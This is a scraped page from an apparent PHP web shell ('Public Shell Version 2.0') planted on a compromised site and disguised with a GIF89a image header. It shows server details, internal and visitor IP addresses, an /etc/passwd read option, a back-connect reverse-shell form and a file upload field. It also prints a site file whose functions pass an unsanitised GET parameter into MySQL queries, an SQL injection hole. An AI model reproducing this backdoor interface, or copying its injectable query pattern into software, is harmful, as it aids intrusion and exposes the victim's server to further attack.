GIF89a

Public Shell


Uname : Linux hlpi1ws-c319s07.ad.aruba.it 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
PHP Version : 5.3.29
Server Admin : postmaster@www.giancio.com
Server IP : 192.168.3.109 Your IP : 18.188.15.246
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: system,popen,dl,passthru,proc_open,shell_exec
Current Path : /web/htdocs/www.giancio.com/home/admin/function/
File Upload :
Current File : /web/htdocs/www.giancio.com/home/admin/function/sugiu.php

<?php 

function su() {
	global $conn;
	$id = $_GET['id'];
	//***********************rank 1° elemento
	$sql = 'select nav_rank from nav where nav_id=' . $id . ' ';
	$dati = mysql_query($sql, $conn);
	$array = mysql_fetch_array($dati);
	$rank_1 = $array['nav_rank'];
	//***********************id 2° elemento
	$sql = 'select nav_id from nav where nav_rank=' . ($rank_1 - 1) . ' ';
	$dati = mysql_query($sql, $conn);
	$array = mysql_fetch_array($dati);
	$id2 = $array['nav_id'];
	//***********************aggiorno 1° elemento
	$sql = 'update nav set nav_rank=' . ($rank_1 - 1) . ' where nav_id=' . $id . ' ';
	mysql_query($sql, $conn);
	//***********************aggiorno 2° elemento
	$sql = 'update nav set nav_rank=' . $rank_1 . ' where nav_id=' . $id2 . ' ';
	mysql_query($sql, $conn);
	//***********************normalizza rank
	//normalizza_rank('nav_id','nav','nav_rank');
}

function giu() {
	global $conn;
	$id = $_GET['id'];
	//***********************rank 1° elemento
	$sql = 'select nav_rank from nav where nav_id=' . $id . ' ';
	$dati = mysql_query($sql, $conn);
	$array = mysql_fetch_array($dati);
	$rank_1 = $array['nav_rank'];
	//***********************id 2° elemento
	$sql = 'select nav_id from nav where nav_rank=' . ($rank_1 + 1) . ' ';
	$dati = mysql_query($sql, $conn);
	$array = mysql_fetch_array($dati);
	$id2 = $array['nav_id'];
	//***********************aggiorno 1° elemento
	$sql = 'update nav set nav_rank=' . ($rank_1 + 1) . ' where nav_id=' . $id . ' ';
	mysql_query($sql, $conn);
	//***********************aggiorno 2° elemento
	$sql = 'update nav set nav_rank=' . $rank_1 . ' where nav_id=' . $id2 . ' ';
	mysql_query($sql, $conn);
	//***********************normalizza rank
	//normalizza_rank('nav_id','nav','nav_rank');
}

?>

Public Shell Version 2.0